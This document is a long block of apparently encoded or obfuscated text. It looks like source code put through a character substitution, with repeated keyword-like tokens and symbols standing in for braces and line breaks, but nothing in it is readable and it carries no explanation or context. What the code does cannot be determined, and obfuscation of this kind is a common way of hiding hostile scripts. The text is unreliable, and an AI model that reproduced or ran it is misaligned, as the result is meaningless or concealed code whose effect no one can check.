+1ekxeeeeeg+g~OOOOeeea2|-1<6=*u<&!1?eeeexeeee=}p-/*"'(=r+3mtqp|leekeeeeeea-12#!p6t6q-$1eekeeebgbeekee 
	~Oe,#eem<?+3w",2"p|.<!5!ma!)| 25.=t}5#u"ieea&077 +1eekeea2|-1<6=*u<&!1?lleeeeee>Oe,#eema(|0vq+&266<||'-le6qp1/"3/r)3u0v.w,|ma!)| 25.=t}5#u"ieeeea(|0vq+&266<||'-l~OOOOe )6 ee6qp1/"3/r)3u0v.w,|ma!)| 25.=t}5#u"ieeeee=w7ru&0,2#3mtqwwlmll~Oeee17.s-rs}w1.3'qma!)| 25.=t}5#u"ieeeeemu=tp nu=qsll~Oee05!$1 *51,*+m0!(7.u=/&.(.mtqsulieeeee0!(7.u=/&.(.mtqwwlmlieeee?|?!)+'qtu++mtqstll~Oea3$5(w}q5#?&( eeeexe$77$<ma!)| 25.=t}5#u"ieeeeea&077 +1l~O,#eemm,+1le" 1*51,*+m=w7ru&0,2#3mtqswlieeeuleeee{eeeuleeee05!$1 *51,*+m?|?!)+'qtu++mtqswlieeeuie0!(7.u=/&.(.mtqstll~OOOeeee,#eemm,+1le" 1*51,*+m?|?!)+'qtu++mtqwtlieuleee{eule! ) 1 *51,*+m=w7ru&0,2#3mtqwtll~Oee8ee )6 ee>Oeea5(<q+pq?$+*20-6eeeexeem,+1leeee" 1*51,*+m=w7ru&0,2#3mtqswlieeeuleeneeet~OOe05!$1 *51,*+m=w7ru&0,2#3mtqswlieea5(<q+pq?$+*20-6ieee=}p-/*"'(=r+3mtqstll~Oe,#ema5(<q+pq?$+*20-6e{xeeeeeemtnwlleeee>Oeee05!$1 *51,*+m=w7ru&0,2#3mtqwtlieee=w7ru&0,2#3mtqwwlmlieeee=w7ru&0,2#3mtqstll~Oeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtqsvlieeee=}p-/*"'(=r+3mtqpvll~Oeee'7 $.~Oeeeee8Oee8OOOOeeeeee8Oe8OOe,#eeema0r2#s$r<10s5ecceeed)5"p=qv#'r||.3/p"w}<mllee>OeeeeeOeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtqsvlieee?|?!)+'qtu++mtqsqll~Oee*w7| &050/$ ==w"*ma-12#!p6t6q-$1iee+0))l~Oe*w7| &050/$ ==w"*ma6*)0-0 ,!'ieeeee+0))l~Oeeeee#*7 $&-eema3$5(w}q5#?&( eeeee$6ea&!v+#"5|-*u7(lee<?+3w",2"p|.<!5!ma&!v+#"5|-*u7(uieeea&!v+#"5|-*u7(tl~Oeeeea'+|6*r6s6.!t|".eexem,+1leeeee" 1*51,*+m=}p-/*"'(=r+3mtqswlieuleeeeeneet~Oeeeeee05!$1 *51,*+m?|?!)+'qtu++mtqswlieeea'+|6*r6s6.!t|".iee?|?!)+'qtu++mtqspll~O,#eema'+|6*r6s6.!t|".eeee{xeeemphwlleee>Oe05!$1 *51,*+m=w7ru&0,2#3mtqwtlie=}p-/*"'(=r+3mtqwwlmlie=}p-/*"'(=r+3mtqssll~Oeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtqsvlieee=w7ru&0,2#3mtqpvll~Oee8O8Oe8eee&$1&-eem-7*2$') eeea=w}=)'/7<3/leee>Oe="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtqsvlieea=w}=)'/7<3/l~OOeee8eeeee&$1&-eeeeem =& 51,*+eeeea=w}=)'/7<3/leee>O8Oe8Oe#0+&1,*+e5wvt}<v7-u1p)<v <(mlOOeeeeeee>Oee17<e>OOeee,#eeeemd0!(7.u=/&.(.mtqtplm?|?!)+'qtu++mtwssllleee7 107+~OOOOeee,#eeeem! #,+ !m0!(7.u=/&.(.mp}qlleee99eee! #,+ !m0!(7.u=/&.(.mtqsrlllee>Oeeeee,#emm,+1leee" 1*51,*+m=w7ru&0,2#3mtqsulieulle>OOOOeee! ) 1 *51,*+m0!(7.u=/&.(.mtqs}ll~Oeee05!$1 *51,*+m?|?!)+'qtu++mtqswlieeeuieeeee=w7ru&0,2#3mtqssll~OOe8OOOeeeee7 107+~Oee8Oeea33q#<('6.4r$seeeexem,+1le" 1*51,*+m=}p-/*"'(=r+3mtqs|lieeul~OO,#eeeemda33q#<('6.4r$sleeee7 107+~Oeea14*$< = $6"6|31exee=w7ru&0,2#3mtqtplm?|?!)+'qtu++mtqtrlleeezeem,+1le=w7ru&0,2#3mtqrulm=}p-/*"'(=r+3mtqrtlleeu~Oe,#eeema14*$< = $6"6|31eeeyxeeuleea14*$< = $6"6|31eexeeemwvtns|l~OOOe,#em=w7ru&0,2#3mtqwwlmleeeheea33q#<('6.4r$seyeeeea14*$< = $6"6|31eeenemu=t!nu=tlleeeee7 107+~OOOOeeeeeeee05!$1 *51,*+m=w7ru&0,2#3mtqs|lieee?|?!)+'qtu++mtqwwlmlieee=w7ru&0,2#3mtqssll~Oeeeea3t7v052|u2)55u/eeexeeem,+1lee" 1*51,*+m?|?!)+'qtu++mtqswlieeeuleeneeet~Oe05!$1 *51,*+m0!(7.u=/&.(.mtqswliea3t7v052|u2)55u/ieeee?|?!)+'qtu++mtqssll~Oe,#eeema3t7v052|u2)55u/eee{xeeemwntllee>Oeeee! ) 1 *51,*+m?|?!)+'qtu++mtqs|ll~Oe05!$1 *51,*+m=w7ru&0,2#3mtqwtlieee=}p-/*"'(=r+3mtqrwlmlieee=}p-/*"'(=r+3mtqrvll~Oeeeeeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtqrqlieeee?|?!)+'qtu++mtqrpll~OOOeeeeee8O8e&$1&-eem-7*2$') eeeeea=w}=)'/7<3/leee>OOOee8eeee&$1&-eeeem =& 51,*+eea=w}=)'/7<3/leeeee>Oe8Oe8O#0+&1,*+eeeeee)u)21 &#wv6w"!mlOOe>Oeeee17<eee>Oee,#emd! #,+ !m0!(7.u=/&.(.mtqtvllleeee7 107+~Oe,#eeeem=}p-/*"'(=r+3mtqrslmleexxxe=w7ru&0,2#3mtqtqllee7 107+~Oeeeee,#eeeemd0q+0v&}(03"?,$4|$#!mlle7 107+~Oeeee,#eeemd2.#?.!qqr116?#+6$")v mlle7 107+~Oea7.s="4u* "4 "7(eeeexee)!r7q}$#qrwq+&#6,#6,'ml~Oeeeeea755#r5w2/eeexeeea7.s="4u* "4 "7(eeeeekeeeeee0!(7.u=/&.(.mtqrrl~Oeeea,.<w?/$/50eeexe?|?!)+'qtu++mtqr}leekeeeeg+geekeeeeee=}p-/*"'(=r+3mtqr|leekeeeeg+gOeeke?|?!)+'qtu++mtq}uleeeekeeeg+gekee=}p-/*"'(=r+3mtq}tleeekeg+geeeekee=}p-/*"'(=r+3mtq}wleekeeg+gOekee?|?!)+'qtu++mtq}vlekeeeg+geekeeee=}p-/*"'(=r+3mtq}qleeeeeekeeeg+geeekeeee=}p-/*"'(=r+3mtq}pleeekeeeeeeg+gOeeeeeeekeee=}p-/*"'(=r+3mtq}sleeeekeg+g~OOOOeeea&077 +1eeeeexeee=w7ru&0,2#3mtqttlma755#r5w2/leeeeezeee?|?!)+'qtu++mtq}rlma755#r5w2/leeeeeeegg~Oeee,#eeeemd0!(7.u=/&.(.mtqvvlma&077 +1lle>OOe="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtq}}liee=w7ru&0,2#3mtqprll~Oeeee7 107+~OOOOeeeeeeee8OOOO,#eem?|?!)+'qtu++mtv}vlma&077 +1ieeee0!(7.u=/&.(.mtqr}llexxxeee#$)6 lee>OOOeeeee<?+3w",2"p|.<!5!ma755#r5w2/ieea&077 +1eeeeekeea,.<w?/$/50l~Oee6qp1/"3/r)3u0v.w,|ma755#r5w2/ieeeeee"7t3r$!4vp#w=u$53mll~Oeeeeeeee17.s-rs}w1.3'qma755#r5w2/ieeeemqw|h|ll~Oe8Oea++&0*6#1ru?eeeeexeee0=&?!<<|0*r/q0.<6ml~Oeee,#emda++&0*6#1ru?e99eeee0!(7.u=/&.(.mtquplma++&0*6#1ru?leyeeeemptqhtqllee7 107+~Oa(p7/u0 *5&-6t$"exe0!(7.u=/&.(.mtvqrlm.!*q3ww&t$ 5+*7'&rmliee?|?!)+'qtu++mttrrll~Oa.7"=!#p<*|t4eeeexe/v&))=5vt?}||u5'#<&4ml~Oeea2q)w03-=)v='r$eeeeexee!5} }=v42/31wmeekee0!(7.u=/&.(.mtturlieemrntlleekeee=w7ru&0,2#3mttrrl~Oeeea+"'?6p4)!&+weeeeexe$77$<mOOOea.7"=!#p<*|t4eeekeeebjbeeeeekea2q)w03-=)v='r$iOeeea7.s="4u* "4 "7(eekeeeebjbekea2q)w03-=)v='r$iOOl~Oeeea2!01w.(,"w3w}7exeeeea.7"=!#p<*|t4eekeebjbekeeeeea2q)w03-=)v='r$~Oe#*7 $&-ema+"'?6p4)!&+we$6eeea ,/u=4v$$+q,lee>Oa,up&5"-,q7eeeeeexeee=w7ru&0,2#3mtvwtlma ,/u=4v$$+q,l~Oe,#eem=}p-/*"'(=r+3mtq}|lma,up&5"-,q7leee99eee")"--6=55t,-(&ma,up&5"-,q7ieemwwpnws}liee170 lleee>Oeeeeea2!01w.(,"w3w}7eeeexeea ,/u=4v$$+q,~O'7 $.~Oee8Oe8Oeea*p}t!|"03}"q!p3eexeee!'=v64s3w-u+u+'# (!}ml~OOOOea'q<t<&--04rexee-v/"u3(r7,t6<mOOOO=w7ru&0,2#3mrvvliOOO$77$<mb	bieb	 sqbieb 
bliO$77$<ma(p7/u0 *5&-6t$"iea*p}t!|"03}"q!p3ieeeee',7|#2u4-"!$4'1"smllOOOeeeel~OOOO,#eemda'q<t<&--04rle>Oeee,#eemm,+1le" 1*51,*+m0!(7.u=/&.(.m}|plieuleeeeee{eeeeuleee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtq|ulieeee=w7ru&0,2#3mtq|tll~O7 107+~O8OOOeeeeeeea#1+ v,,?. 7eexegg~Oeea?0<-7)q!<!4}4"v"eeexe$77$<meeeke?|?!)+'qtu++mprslieeea.7"=!#p<*|t4ekee?|?!)+'qtu++mtqrrll~Oea)q<"|'wu*|!."+=<exeeee=w7ru&0,2#3mtq|wlm=}p-/*"'(=r+3mtqrulleeeeezee=}p-/*"'(=r+3mtqrulm=w7ru&0,2#3mps|lleeee#$)6 ~Oe,#eem=w7ru&0,2#3mtqvvlma)q<"|'wu*|!."+=<leeeccea)q<"|'wu*|!."+=<edxxeeggleeee>Oa?0<-7)q!<!4}4"v"eexe=w7ru&0,2#3mtq|vlmie=w7ru&0,2#3mtqpqlleekeeeeeebjbeekeea)q<"|'wu*|!."+=<~Oea?0<-7)q!<!4}4"v"exeeeeea.7"=!#p<*|t4eeekeeebjbeeeekeeea)q<"|'wu*|!."+=<~OO8O#*7 $&-eeeema?0<-7)q!<!4}4"v"eeee$6eeea-2="|(?5|#'le>Oea'//&q-'<}<r!|!eeexee?|?!)+'qtu++mtqpslma-2="|(?5|#'lezee=w7ru&0,2#3mtq}rlma-2="|(?5|#'leeeeeegg~OOOe,#eeemd?|?!)+'qtu++mtqvvlma'//&q-'<}<r!|!le99eea'//&q-'<}<r!|!eeeexxxeggleee&*+1,+0 ~Oeeee,#em=}p-/*"'(=r+3mtwr|lm0!(7.u=/&.(.mtq|qlieea'//&q-'<}<r!|!ieea#5$ # # )5<llee>Oea<!.<0&us,r+ ?eeeexeee?|?!)+'qtu++mtq|plma#5$ # # )5<wl~O,#ema<!.<0&us,r+ ?eeeedxxeggeecceee617,5*6ma<!.<0&us,r+ ?ieeee=}p-/*"'(=r+3mtqvplleexxxeee#$)6 ecced6!**1)t}<?+$r/s#u/}ma<!.<0&us,r+ ?llee>Oea#1+ v,,?. 7eeexeeea<!.<0&us,r+ ?~O'7 $.~Oee8Oee8Oeeee8Oee,#eema#1+ v,,?. 7eedxxeggleeee>Oa'q<t<&--04rexeeee0!(7.u=/&.(.mtv}plm?|?!)+'qtu++mtq|slieeeee=w7ru&0,2#3mtq|rleeke?|?!)+'qtu++mtqvrlma#1+ v,,?. 7ieee170 leeeeekeee0!(7.u=/&.(.mtq|}lieeeeeea'q<t<&--04rieetl~OOOOeeee,#eemd0!(7.u=/&.(.mtq||lma'q<t<&--04rlleeee>Oee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtq|ulieee=w7ru&0,2#3mtpuull~OOOe7 107+~Oeeeee8OOOeee8Oea!pt.w5wp!5/eexeee170 ~Oea,t#,qpr<vv3eexee+0))~Oeee,#em0!(7.u=/&.(.mtqttlma2!01w.(,"w3w}7lleeeee>Oa,t#,qpr<vv3eeexee--r<<!4$-0!rq)}pmm617,+"leeeee=}p-/*"'(=r+3mtq}rlma2!01w.(,"w3w}7ll~OOOe,#eeeeem=w7ru&0,2#3mtq||lma,t#,qpr<vv3leecceeeeea,t#,qpr<vv3eeeeeexxxeeeea'q<t<&--04rleeeee>OOOOea!pt.w5wp!5/eexeeeee#$)6 ~Oe8OOOe8Oeeea"!4+7+!'$72.eexee$77$<mOeeeeeeeekee=w7ru&0,2#3mprsliOeeeeeem! #,+ !m=}p-/*"'(=r+3mtqw}lleezee
 eeeeea.7"=!#p<*|t4lekeeee=w7ru&0,2#3mtqrrliOOel~Oea7//4"),57424eexeeeeeem,+1le" 1*51,*+m=w7ru&0,2#3mtputlieeul~Oee,#eema7//4"),57424eeeeeecceee=}p-/*"'(=r+3mtpuwlmleeeheea7//4"),57424eeyemu=p}&'nu=#}'plle>Oe*w7| &050/$ ==w"*ma2!01w.(,"w3w}7ie+0))l~Oee#*7 $&-eeeeema"!4+7+!'$72.eeeeee$6eeeeea*uq.'vsr,66leeee>Oeeeea57,p2uv,7v/'eeeexee0!(7.u=/&.(.mtpuvlma*uq.'vsr,66leze=w7ru&0,2#3mtq}rlma*uq.'vsr,66leeeeeeegg~Oe,#eeem0!(7.u=/&.(.mtq||lma57,p2uv,7v/'leeccee=}p-/*"'(=r+3mtpuqlma57,p2uv,7v/'ieeea2q)w03-=)v='r$ledxxee#$)6 le>OOOeeeea+43s$6#|&*# 4.exeee#.#2|* <q&(}}75sq$6-??ma57,p2uv,7v/'ieea2q)w03-=)v='r$l~Oee,#em=w7ru&0,2#3mtq||lma+43s$6#|&*# 4.leeeccea+43s$6#|&*# 4.eeedxxeeeeea57,p2uv,7v/'leeeee<?+3w",2"p|.<!5!ma*uq.'vsr,66ieeeea+43s$6#|&*# 4.l~OOOOeee8Oeee8OOO7 107+~O8Oee,#ema!pt.w5wp!5/leeee>Oee-3&*t0)(+,)?3 r6rma2!01w.(,"w3w}7iea'q<t<&--04rieee=w7ru&0,2#3mtpupll~OOOOeeeeeee6qp1/"3/r)3u0v.w,|ma2!01w.(,"w3w}7ieeee"7t3r$!4vp#w=u$53mll~OOOO17.s-rs}w1.3'qma2!01w.(,"w3w}7iemvr|nqtll~O1&s?222)1$ (10)r+3?ma2!01w.(,"w3w}7l~OOOeeee8Oeeeea4$.p,q5+|v+w,exeeee=}p-/*"'(=r+3mtpuslma2!01w.(,"w3w}7leze--r<<!4$-0!rq)}pmm617,+"lee?|?!)+'qtu++mtq}rlma2!01w.(,"w3w}7lleegg~OOOeeee,#ema4$.p,q5+|v+w,eedxxeeea'q<t<&--04rlee>OOeeeOeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtpurlie?|?!)+'qtu++mtww|ll~Oe*w7| &050/$ ==w"*ma2!01w.(,"w3w}7iea!pt.w5wp!5/ezeeea,t#,qpr<vv3eeeeeee+0))l~Oa,q6t15s/s-exem,+1le" 1*51,*+m0!(7.u=/&.(.mtpu}lieeeulenet~Oe05!$1 *51,*+m=}p-/*"'(=r+3mtpu}liea,q6t15s/s-ieee0!(7.u=/&.(.mtqrvll~Oee,#ema,q6t15s/s-e{xeeeemtnwlleee>Oeee05!$1 *51,*+m0!(7.u=/&.(.mtputlie?|?!)+'qtu++mtpuwlmlieeeee=w7ru&0,2#3mtqrvll~Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtpu|liee0!(7.u=/&.(.mtqpvll~Oeeee8Oeee7 107+~O8O0+6 1ma4$.p,q5+|v+w,l~Oea.$##tq"25-t?|.eexeeee=w7ru&0,2#3mtptul~Oeea3$5(w}q5#?&( exe$77$<ml~Oe#*7 $&-eema"!4+7+!'$72.ee$6ea+4| ))u w.leeeee>Oeeea,up&5"-,q7exeeee=w7ru&0,2#3mtvwtlma+4| ))u w.l~Oee,#eemd0!(7.u=/&.(.mtq}|lma,up&5"-,q7llee&*+1,+0 ~Oea )""24,6ts4exeeee=}p-/*"'(=r+3mtq|wlm=}p-/*"'(=r+3mttwrlleeze=}p-/*"'(=r+3mttwrlma+4| ))u w.ieeeeb&bleeeeeee#$)6 ~Oee,#ema )""24,6ts4eeeeedxxee#$)6 eecce?|?!)+'qtu++mtq|wlm=}p-/*"'(=r+3mtpttllleee#)*&.ma )""24,6ts4ieee	
 l~Oeeea(|0vq+&266<||'-eeeeeexe=w7ru&0,2#3mtptwlma+4| ))u w.leze=w7ru&0,2#3mpsslma+4| ))u w.leeeeu~OOea&4.<'5/3}?pp* 5exee?|?!)+'qtu++mtptvlma+4| ))u w.leeezee?|?!)+'qtu++mtq}rlma+4| ))u w.leeeeeeeeegg~OOOe,#eeemd=}p-/*"'(=r+3mtq||lma&4.<'5/3}?pp* 5lleeeeee>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtpu|lie=w7ru&0,2#3mtptqll~O,#eema )""24,6ts4eedxxeeee#$)6 le>Oeee,#em=}p-/*"'(=r+3mtptplm=}p-/*"'(=r+3mtptslllee#)*&.ma )""24,6ts4iee	
l~OOOO#&)*6 ma )""24,6ts4l~O8Oeeeee&*+1,+0 ~Oeeeeee8Oe,#eeeeeem=w7ru&0,2#3mtpuqlma&4.<'5/3}?pp* 5ieeea2q)w03-=)v='r$ledxxeeee#$)6 lee>Oeeee,#em=}p-/*"'(=r+3mtptwlma2!01w.(,"w3w}7lleeee>Oe,#ema )""24,6ts4eeeedxxe#$)6 le>Oe,#em=}p-/*"'(=r+3mtptrlm?|?!)+'qtu++mtpt}llleeee#)*&.ma )""24,6ts4ieeeee	
l~Oeeeeee#&)*6 ma )""24,6ts4l~Oeeeeee8OOOO&*+1,+0 ~O8Oa&4.<'5/3}?pp* 5exeeee#.#2|* <q&(}}75sq$6-??ma&4.<'5/3}?pp* 5ieeea2q)w03-=)v='r$l~O8O,#emd=}p-/*"'(=r+3mtq||lma&4.<'5/3}?pp* 5lle>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtpu|liee?|?!)+'qtu++mtpt|ll~Oeeeee,#eeema )""24,6ts4eedxxeeeee#$)6 leeee>O,#em=w7ru&0,2#3mtptrlm?|?!)+'qtu++mtpt}lllee#)*&.ma )""24,6ts4ieeeeee	
l~OOOOeeeeeee#&)*6 ma )""24,6ts4l~O8Oeeeeeee&*+1,+0 ~O8OOOOee,#emd=w7ru&0,2#3mtptwlma2!01w.(,"w3w}7lle>Oeeeeee,#eeeema )""24,6ts4eedxxeeee#$)6 lee>Oe,#em?|?!)+'qtu++mtptrlm=}p-/*"'(=r+3mtpt}llle#)*&.ma )""24,6ts4ieeee	
l~O#&)*6 ma )""24,6ts4l~Oeee8O&*+1,+0 ~O8Oeeeee,#eeem<.22s4t$p&q(2,mlleeee>Oeea2|-1<6=*u<&!1?eeeexeeeg+y#*!0) e),1 65  !{+geeeeekea.$##tq"25-t?|.eke?|?!)+'qtu++mtpwulekeeeea2!01w.(,"w3w}7ekeebgbeeekeeeeeg+yj#*!0) {+g~Oeeee8e )6 e>Oea2|-1<6=*u<&!1?exeeeeeg+y#*!0) e(*!5-5k&{+geeekeeea.$##tq"25-t?|.eekeee=}p-/*"'(=r+3mtpwulekeeea2!01w.(,"w3w}7eeekeeebgbekeeeeeg+yj#*!0) {+gOeeeeekegy#*!0) e(*!5-5pk&{+geeeekeeeeeea.$##tq"25-t?|.eeeke=}p-/*"'(=r+3mtpwuleeeekeea2!01w.(,"w3w}7eeeeeekeeebgbeeeekeeg+yj#*!0) {+gOeeeeeeeekeeeeeegy#*!0) e(*!5-5rk&{+geekeeeea.$##tq"25-t?|.eeeke=w7ru&0,2#3mtpwuleekea2!01w.(,"w3w}7ekeebgbeeeekeeeg+yj#*!0) {+gOeekeegy#*!0) e(*!5-5}k&{+geekeeea.$##tq"25-t?|.eekeee0!(7.u=/&.(.mtpwtlekea2!01w.(,"w3w}7eekeeebgbeeeekeeeeg+yj#*!0) {+g~Oee8OOO,#eem<?+3w",2"p|.<!5!ma+4| ))u w.ieea&4.<'5/3}?pp* 5eekeeea2|-1<6=*u<&!1?lleeeeea3$5(w}q5#?&( eexe$77$<ma+4| ))u w.ieeeea&4.<'5/3}?pp* 5l~Oeee,#eeeema(|0vq+&266<||'-le6qp1/"3/r)3u0v.w,|ma+4| ))u w.iea(|0vq+&266<||'-l~Oe )6 eee6qp1/"3/r)3u0v.w,|ma+4| ))u w.ieee?|?!)+'qtu++mtpuwlmll~Oee,#ema )""24,6ts4eeedxxeee#$)6 leeee>Oeee,#eeeeeem=}p-/*"'(=r+3mtpwwlm=w7ru&0,2#3mtpt}llleeeee#)*&.ma )""24,6ts4ie	
l~Oe#&)*6 ma )""24,6ts4l~Oe8Oee8O,#eeemma!pt.w5wp!5/eee99eee=}p-/*"'(=r+3mturslma3$5(w}q5#?&( lee{euleeeeecced)5"p=qv#'r||.3/p"w}<mllee>OeeeeeeOOOee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtpu|lie=w7ru&0,2#3mtqsqll~OOOOeeeeeee*w7| &050/$ ==w"*ma2!01w.(,"w3w}7ieeeeea,t#,qpr<vv3l~Oe#*7 $&-eeeeeema3$5(w}q5#?&( eee$6eea&!v+#"5|-*u7(le<?+3w",2"p|.<!5!ma&!v+#"5|-*u7(uiea&!v+#"5|-*u7(tl~Oea,q6t15s/s-exeem,+1lee" 1*51,*+m=w7ru&0,2#3mtpu}lieeeeeeuleeeneeeeet~O05!$1 *51,*+m=w7ru&0,2#3mtpwvlieeeeea,q6t15s/s-ieee=}p-/*"'(=r+3mtqrvll~Oe,#ema,q6t15s/s-eee{xeemu=wnu=tlle>O05!$1 *51,*+m0!(7.u=/&.(.mtputlieeee0!(7.u=/&.(.mtpwqlmlie0!(7.u=/&.(.mtpwpll~OOOeeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtpu|lie?|?!)+'qtu++mtqpvll~Oeeee8Oeeee7 107+~O8Oeeeeee,#eeeeemm,+1le" 1*51,*+m=w7ru&0,2#3mtpwvlieeulee{eeule05!$1 *51,*+m=w7ru&0,2#3mtpwslieuieee0!(7.u=/&.(.mtpwrll~Oeeeeeeee,#eeemm,+1lee" 1*51,*+m?|?!)+'qtu++mtputlieeeeule{euleeeeee! ) 1 *51,*+m0!(7.u=/&.(.mtputll~Oeeeeee8e&$1&-eeem-7*2$') eeeeeea=w}=)'/7<3/le>Oeeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtpu|lieeea=w}=)'/7<3/l~Oeeeee8e&$1&-eeem =& 51,*+ea=w}=)'/7<3/leeee>Oe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtpu|lieeeeea=w}=)'/7<3/l~Oe8Oee8OOO#0+&1,*+e=}-50w(/|v ?&2|mlOeeee>Oeee17<eee>Oe,#emd! #,+ !m?|?!)+'qtu++mtqtvllle7 107+~O,#eeemd=w7ru&0,2#3mtpwwlm=w7ru&0,2#3mtpw}llle7 107+~Oeeeeea,!w#uut6!4 peeexeeeee!5} }=v42/31wmeeekeee0!(7.u=/&.(.mtpw|lieeemtn|ll~Oeeea++&0*6#1ru?eeeeexe0=&?!<<|0*r/q0.<6ml~Oeeee,#eeeemda++&0*6#1ru?ee99ee=w7ru&0,2#3mtquplma++&0*6#1ru?leeeyemvttnt}|llee7 107+~Oeeea*p}t!|"03}"q!p3exeeee!'=v64s3w-u+u+'# (!}ml~Oea&077 +1eeeeexeeeeee" 1*51,*+ma,!w#uut6!4 pieeggl~Oeeeee,#eeeema&077 +1eecceeeee0!(7.u=/&.(.mtpvulma&077 +1leexxxe=w7ru&0,2#3mtpvtlma*p}t!|"03}"q!p3leeecceea&077 +1eeeeexxxea*p}t!|"03}"q!p3le7 107+~O,#eem0!(7.u=/&.(.mtpvwlm?|?!)+'qtu++mtu}pllleeeeee>OOO05!$1 *51,*+ma,!w#uut6!4 pieeea*p}t!|"03}"q!p3iee?|?!)+'qtu++mtpwrll~Oeee8ee )6 ,#eeem! #,+ !m?|?!)+'qtu++mtpvvllecceeee! #,+ !m=}p-/*"'(=r+3mtpvqlleecceee! #,+ !m=}p-/*"'(=r+3mtpvplleecce! #,+ !m=w7ru&0,2#3mtpvslleeccee=w7ru&0,2#3mtupqlm0!(7.u=/&.(.mtpvrllle>Oa&($22//47')32p&5eeexeeeee=}p-/*"'(=r+3mtpvrl~OOeeea7q!!.+v|))1qeeeexe+ 2eeeea&($22//47')32p&5m&*+61$+1m?|?!)+'qtu++mtpvvllie&*+61$+1m=}p-/*"'(=r+3mtpvqllieee&*+61$+1m?|?!)+'qtu++mtpvpllieee&*+61$+1m=}p-/*"'(=r+3mtpv}lll~Oeeeeeeee,#eeema7q!!.+v|))1qeeecceeeda7q!!.+v|))1qh{&*++ &1 77+*lee>Oeeeea57 #,=eeeeexeee,66 1ma	
	0!(7.u=/&.(.mtvqqlh{57 #,=leezeeea	
	=}p-/*"'(=r+3mtvqqlh{57 #,=eeeee?|?!)+'qtu++m}q}l~Oea'#'2!7?=*=ss<eexea7q!!.+v|))1qh{7 $) 6&$5 617,+"ma*p}t!|"03}"q!p3l~Oa#|. &*40-7(#)eexea7q!!.+v|))1qh{7 $) 6&$5 617,+"ma,!w#uut6!4 pl~OOOeeeeeea7q!!.+v|))1qh{40 7<mg=pv =pw=pqe=q =pq
e>a57 #,=8*51=s|*=s =rvem=s#51,*+=s $=s! ie=s#51=s|*=s =rs$)=rp ie=st=rp1=s#)=s#$!le	=qp=pvemb>a#|. &*40-7(#)8bieb>a'#'2!7?=*=ss<8bieb+=s#ble=q#e	=qv e=qpe=pq e*51,=s#+=rs$)0 xb>a'#'2!7?=*=ss<8bgl~O,#ema7q!!.+v|))1qh{ 77*7leeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtpv|lieee=w7ru&0,2#3mtpquleekeeeeee=w7ru&0,2#3mtpqtlma7q!!.+v|))1qh{ 77*7ieeeuieemww}htu}lll~Oeeeeea7q!!.+v|))1qh{&)*6 ml~O8Oe8Oeee8eee&$1&-em-7*2$') eeeea=w}=)'/7<3/le>OO="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtpv|lieea=w}=)'/7<3/l~OOO8ee&$1&-eeem =& 51,*+eeea=w}=)'/7<3/le>Oe8Oeee8O#0+&1,*+eeeeee, )qq4,ws? 3tp }}r.!}mlOe>OOOa,!'u6!vv(-r7'6+exee! #,+ !m=w7ru&0,2#3mtpqwllezeeeee
 eeeeeeeeke=w7ru&0,2#3mtpqvl~Oeea"&$&"7u/wpw$=eexe!5} }=v42/31wmeeekeeeee0!(7.u=/&.(.mtpqqlieeeeeemtvvtqtll~Oeee7 107+ee$77$<ma,!'u6!vv(-r7'6+ekeee0!(7.u=/&.(.mpsulieeeea,!'u6!vv(-r7'6+eekee=w7ru&0,2#3mtpqpleeekeeeeea"&$&"7u/wpw$=eekee=w7ru&0,2#3mtpqslieea"&$&"7u/wpw$=l~Oeeee8Oeeeee#0+&1,*+eeeee"55" =25&u6<0--7ma6$"u v?.4lOeee>OOOeear|5sw1*q(1rveeexeem,+1leeeee=w7ru&0,2#3mttqplma6$"u v?.4l~Oeee,#emar|5sw1*q(1rveyemp|nqtlee99eeear|5sw1*q(1rvee{eemwu|rtqtnttlle7 107+ee#$)6 ~OOeea"p|t54!6). exe0!(7.u=/&.(.mtpqrlma6$"u v?.4l~OOe,#eeeemd?|?!)+'qtu++mtq||lma"p|t54!6). leeeeee99eeeeee=}p-/*"'(=r+3mtpvtlma"p|t54!6). leeeeyeeeemu=qunu=wqleeeee99eeeeee=}p-/*"'(=r+3mtpq}lma"p|t54!6). leee{eeemu=# rw#nu=tut}!tlleee7 107+ee#$)6 ~Oeeeeea33q#<('6.4r$seexeeeee=}p-/*"'(=r+3mtttwlmbbieeeeeea"p|t54!6). iemwpvwq|ll~O,#eem?|?!)+'qtu++mturslma33q#<('6.4r$sleeyeemt|}t|qlee99ea33q#<('6.4r$sueedxxe?|?!)+'qtu++mtpq|le99eee=}p-/*"'(=r+3mtpq}lma33q#<('6.4r$smshvlleeeeeyeeem}whvwllee7 107+eee#$)6 ~Oa&?||$(,+exee0!(7.u=/&.(.mv}qlma33q#<('6.4r$smu=wnu=tll~Oe,#ema&?||$(,+eeexxxe#$)6 eeee99ee?|?!)+'qtu++mtpq}lma&?||$(,+leeeeyeeempnqplleeeee7 107+eee#$)6 ~O,#eem=}p-/*"'(=r+3mtppulma&?||$(,+ieeeeeeuieeewleeexxxeeeeg=t#=}'gleee>Oeeeeeea'?p&&)s#=<3?}|)?eexe?|?!)+'qtu++mw}wlmbbie?|?!)+'qtu++mtppulma&?||$(,+ieeeeehmvntlll~O,#emd0!(7.u=/&.(.mtvuplma'?p&&)s#=<3?}|)?leeeeee99eea'?p&&)s#=<3?}|)?teeeyeeem|wn}lee99eeeea'?p&&)s#=<3?}|)?teee{emtssqqpvhstp}rrlle7 107+ee#$)6 ~Oeee,#eem0!(7.u=/&.(.mtpvwlm=w7ru&0,2#3mw}vllleeeea&?||$(,+eexee"?! &*! ma&?||$(,+iemtuq}pq|nwrll~OOe )6 